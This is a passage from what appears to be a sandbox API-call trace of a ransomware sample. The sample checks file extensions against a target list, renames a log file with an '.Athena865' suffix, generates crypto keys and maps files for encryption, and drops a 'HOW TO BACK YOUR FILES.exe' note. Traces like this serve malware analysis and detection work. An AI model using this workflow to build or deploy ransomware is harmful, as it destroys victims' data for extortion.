lstrcmpiW (lpString1="log", lpString2="adn") returned 1 [0098.396] lstrlenW (lpString="adp") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="adp") returned 1 [0098.396] lstrlenW (lpString="alf") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="alf") returned 1 [0098.396] lstrlenW (lpString="ask") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="ask") returned 1 [0098.396] lstrlenW (lpString="btr") returned 3 [0098.396] lstrcmpiW (lpString1="log", lpString2="btr") returned 1 [0098.396] lstrlenW (lpString="cat") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="cat") returned 1 [0098.397] lstrlenW (lpString="cdb") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1 [0098.397] lstrlenW (lpString="ckp") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1 [0098.397] lstrlenW (lpString="cma") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="cma") returned 1 [0098.397] lstrlenW (lpString="cpd") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1 [0098.397] lstrlenW (lpString="dacpac") returned 6 [0098.397] lstrcmpiW (lpString1="ll.log", lpString2="dacpac") returned 1 [0098.397] lstrlenW (lpString="dad") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="dad") returned 1 [0098.397] lstrlenW (lpString="dadiagrams") returned 10 [0098.397] lstrcmpiW (lpString1="nstall.log", lpString2="dadiagrams") returned 1 [0098.397] lstrlenW (lpString="daschema") returned 8 [0098.397] lstrcmpiW (lpString1="tall.log", lpString2="daschema") returned 1 [0098.397] lstrlenW (lpString="db-journal") returned 10 [0098.397] lstrcmpiW (lpString1="nstall.log", lpString2="db-journal") returned 1 [0098.397] lstrlenW (lpString="db-shm") returned 6 [0098.397] lstrcmpiW (lpString1="ll.log", lpString2="db-shm") returned 1 [0098.397] lstrlenW (lpString="db-wal") returned 6 [0098.397] lstrcmpiW (lpString1="ll.log", lpString2="db-wal") returned 1 [0098.397] lstrlenW (lpString="dbc") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1 [0098.397] lstrlenW (lpString="dbs") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1 [0098.397] lstrlenW (lpString="dbt") returned 3 [0098.397] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1 [0098.397] lstrlenW (lpString="dbv") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1 [0098.398] lstrlenW (lpString="dbx") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1 [0098.398] lstrlenW (lpString="dcb") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1 [0098.398] lstrlenW (lpString="dct") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dct") returned 1 [0098.398] lstrlenW (lpString="dcx") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1 [0098.398] lstrlenW (lpString="ddl") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1 [0098.398] lstrlenW (lpString="dlis") returned 4 [0098.398] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1 [0098.398] lstrlenW (lpString="dp1") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1 [0098.398] lstrlenW (lpString="dqy") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1 [0098.398] lstrlenW (lpString="dsk") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1 [0098.398] lstrlenW (lpString="dsn") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1 [0098.398] lstrlenW (lpString="dtsx") returned 4 [0098.398] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1 [0098.398] lstrlenW (lpString="dxl") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1 [0098.398] lstrlenW (lpString="eco") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="eco") returned 1 [0098.398] lstrlenW (lpString="ecx") returned 3 [0098.398] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1 [0098.399] lstrlenW (lpString="edb") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="edb") returned 1 [0098.399] lstrlenW (lpString="epim") returned 4 [0098.399] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1 [0098.399] lstrlenW (lpString="fcd") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1 [0098.399] lstrlenW (lpString="fdb") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1 [0098.399] lstrlenW (lpString="fic") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fic") returned 1 [0098.399] lstrlenW (lpString="flexolibrary") returned 12 [0098.399] lstrcmpiW (lpString1="-install.log", lpString2="flexolibrary") returned 1 [0098.399] lstrlenW (lpString="fm5") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1 [0098.399] lstrlenW (lpString="fmp") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1 [0098.399] lstrlenW (lpString="fmp12") returned 5 [0098.399] lstrcmpiW (lpString1="l.log", lpString2="fmp12") returned 1 [0098.399] lstrlenW (lpString="fmpsl") returned 5 [0098.399] lstrcmpiW (lpString1="l.log", lpString2="fmpsl") returned 1 [0098.399] lstrlenW (lpString="fol") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fol") returned 1 [0098.399] lstrlenW (lpString="fp3") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1 [0098.399] lstrlenW (lpString="fp4") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1 [0098.399] lstrlenW (lpString="fp5") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1 [0098.399] lstrlenW (lpString="fp7") returned 3 [0098.399] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1 [0098.400] lstrlenW (lpString="fpt") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1 [0098.400] lstrlenW (lpString="frm") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="frm") returned 1 [0098.400] lstrlenW (lpString="gdb") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0098.400] lstrlenW (lpString="gdb") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0098.400] lstrlenW (lpString="grdb") returned 4 [0098.400] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1 [0098.400] lstrlenW (lpString="gwi") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1 [0098.400] lstrlenW (lpString="hdb") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1 [0098.400] lstrlenW (lpString="his") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="his") returned 1 [0098.400] lstrlenW (lpString="ib") returned 2 [0098.400] lstrcmpiW (lpString1="og", lpString2="ib") returned 1 [0098.400] lstrlenW (lpString="idb") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="idb") returned 1 [0098.400] lstrlenW (lpString="ihx") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1 [0098.400] lstrlenW (lpString="itdb") returned 4 [0098.400] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1 [0098.400] lstrlenW (lpString="itw") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="itw") returned 1 [0098.400] lstrlenW (lpString="jet") returned 3 [0098.400] lstrcmpiW (lpString1="log", lpString2="jet") returned 1 [0098.401] lstrlenW (lpString="jtx") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1 [0098.401] lstrlenW (lpString="kdb") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1 [0098.401] lstrlenW (lpString="kexi") returned 4 [0098.401] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1 [0098.401] lstrlenW (lpString="kexic") returned 5 [0098.401] lstrcmpiW (lpString1="l.log", lpString2="kexic") returned 1 [0098.401] lstrlenW (lpString="kexis") returned 5 [0098.401] lstrcmpiW (lpString1="l.log", lpString2="kexis") returned 1 [0098.401] lstrlenW (lpString="lgc") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1 [0098.401] lstrlenW (lpString="lwx") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1 [0098.401] lstrlenW (lpString="maf") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="maf") returned -1 [0098.401] lstrlenW (lpString="maq") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="maq") returned -1 [0098.401] lstrlenW (lpString="mar") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="mar") returned -1 [0098.401] lstrlenW (lpString="marshal") returned 7 [0098.401] lstrcmpiW (lpString1="all.log", lpString2="marshal") returned -1 [0098.401] lstrlenW (lpString="mas") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="mas") returned -1 [0098.401] lstrlenW (lpString="mav") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="mav") returned -1 [0098.401] lstrlenW (lpString="maw") returned 3 [0098.401] lstrcmpiW (lpString1="log", lpString2="maw") returned -1 [0098.401] lstrlenW (lpString="mdbhtml") returned 7 [0098.401] lstrcmpiW (lpString1="all.log", lpString2="mdbhtml") returned -1 [0098.401] lstrlenW (lpString="mdn") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1 [0098.402] lstrlenW (lpString="mdt") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1 [0098.402] lstrlenW (lpString="mfd") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1 [0098.402] lstrlenW (lpString="mpd") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1 [0098.402] lstrlenW (lpString="mrg") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1 [0098.402] lstrlenW (lpString="mud") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mud") returned -1 [0098.402] lstrlenW (lpString="mwb") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1 [0098.402] lstrlenW (lpString="myd") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="myd") returned -1 [0098.402] lstrlenW (lpString="ndf") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1 [0098.402] lstrlenW (lpString="nnt") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1 [0098.402] lstrlenW (lpString="nrmlib") returned 6 [0098.402] lstrcmpiW (lpString1="ll.log", lpString2="nrmlib") returned -1 [0098.402] lstrlenW (lpString="ns2") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1 [0098.402] lstrlenW (lpString="ns3") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1 [0098.402] lstrlenW (lpString="ns4") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1 [0098.402] lstrlenW (lpString="nsf") returned 3 [0098.402] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1 [0098.403] lstrlenW (lpString="nv") returned 2 [0098.403] lstrcmpiW (lpString1="og", lpString2="nv") returned 1 [0098.403] lstrlenW (lpString="nv2") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1 [0098.403] lstrlenW (lpString="nwdb") returned 4 [0098.403] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1 [0098.403] lstrlenW (lpString="nyf") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1 [0098.403] lstrlenW (lpString="odb") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0098.403] lstrlenW (lpString="odb") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0098.403] lstrlenW (lpString="oqy") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1 [0098.403] lstrlenW (lpString="ora") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="ora") returned -1 [0098.403] lstrlenW (lpString="orx") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="orx") returned -1 [0098.403] lstrlenW (lpString="owc") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="owc") returned -1 [0098.403] lstrlenW (lpString="p96") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="p96") returned -1 [0098.403] lstrlenW (lpString="p97") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="p97") returned -1 [0098.403] lstrlenW (lpString="pan") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="pan") returned -1 [0098.403] lstrlenW (lpString="pdb") returned 3 [0098.403] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1 [0098.403] lstrlenW (lpString="pdm") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1 [0098.404] lstrlenW (lpString="pnz") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1 [0098.404] lstrlenW (lpString="qry") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="qry") returned -1 [0098.404] lstrlenW (lpString="qvd") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1 [0098.404] lstrlenW (lpString="rbf") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1 [0098.404] lstrlenW (lpString="rctd") returned 4 [0098.404] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1 [0098.404] lstrlenW (lpString="rod") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="rod") returned -1 [0098.404] lstrlenW (lpString="rodx") returned 4 [0098.404] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1 [0098.404] lstrlenW (lpString="rpd") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1 [0098.404] lstrlenW (lpString="rsd") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1 [0098.404] lstrlenW (lpString="sas7bdat") returned 8 [0098.404] lstrcmpiW (lpString1="tall.log", lpString2="sas7bdat") returned 1 [0098.404] lstrlenW (lpString="sbf") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1 [0098.404] lstrlenW (lpString="scx") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="scx") returned -1 [0098.404] lstrlenW (lpString="sdb") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1 [0098.404] lstrlenW (lpString="sdc") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1 [0098.404] lstrlenW (lpString="sdf") returned 3 [0098.404] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1 [0098.405] lstrlenW (lpString="sis") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="sis") returned -1 [0098.405] lstrlenW (lpString="spq") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="spq") returned -1 [0098.405] lstrlenW (lpString="te") returned 2 [0098.405] lstrcmpiW (lpString1="og", lpString2="te") returned -1 [0098.405] lstrlenW (lpString="teacher") returned 7 [0098.405] lstrcmpiW (lpString1="all.log", lpString2="teacher") returned -1 [0098.405] lstrlenW (lpString="tmd") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1 [0098.405] lstrlenW (lpString="tps") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="tps") returned -1 [0098.405] lstrlenW (lpString="trc") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0098.405] lstrlenW (lpString="trc") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0098.405] lstrlenW (lpString="trm") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="trm") returned -1 [0098.405] lstrlenW (lpString="udb") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="udb") returned -1 [0098.405] lstrlenW (lpString="udl") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="udl") returned -1 [0098.405] lstrlenW (lpString="usr") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="usr") returned -1 [0098.405] lstrlenW (lpString="v12") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="v12") returned -1 [0098.405] lstrlenW (lpString="vis") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="vis") returned -1 [0098.405] lstrlenW (lpString="vpd") returned 3 [0098.405] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1 [0098.405] lstrlenW (lpString="vvv") returned 3 [0098.406] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1 [0098.406] lstrlenW (lpString="wdb") returned 3 [0098.406] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1 [0098.406] lstrlenW (lpString="wmdb") returned 4 [0098.406] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1 [0098.406] lstrlenW (lpString="wrk") returned 3 [0098.406] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1 [0098.406] lstrlenW (lpString="xdb") returned 3 [0098.406] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1 [0098.406] lstrlenW (lpString="xld") returned 3 [0098.406] lstrcmpiW (lpString1="log", lpString2="xld") returned -1 [0098.406] lstrlenW (lpString="xmlff") returned 5 [0098.406] lstrcmpiW (lpString1="l.log", lpString2="xmlff") returned -1 [0098.406] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.Athena865") returned 68 [0098.406] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.Athena865" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.athena865"), dwFlags=0x1) returned 1 [0098.409] CreateFileW (lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.Athena865" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0098.409] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=164) returned 1 [0098.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.410] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.411] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.411] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.411] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x154 [0098.414] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0098.415] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.416] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.416] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.417] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.417] CloseHandle (hObject=0x154) returned 1 [0098.417] CloseHandle (hObject=0x17c) returned 1 [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.417] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0 [0098.417] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.417] ReleaseMutex (hMutex=0xec) returned 1 [0098.417] CloseHandle (hObject=0xec) returned 1 [0098.417] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509628 | out: hHeap=0x4f0000) returned 1 [0098.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db50 | out: hHeap=0x4f0000) returned 1 [0098.417] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 69 [0098.417] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9A3D71DE3A28C178B309071B2C1D03CB") returned 0xec [0098.417] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.418] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0098.418] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.418] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.418] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.418] GetLastError () returned 0x0 [0098.418] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.418] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.419] CloseHandle (hObject=0xf4) returned 1 [0098.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.420] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.420] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.420] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.420] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.420] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.420] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.420] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.420] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.420] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.420] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b7c060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.420] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.420] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, 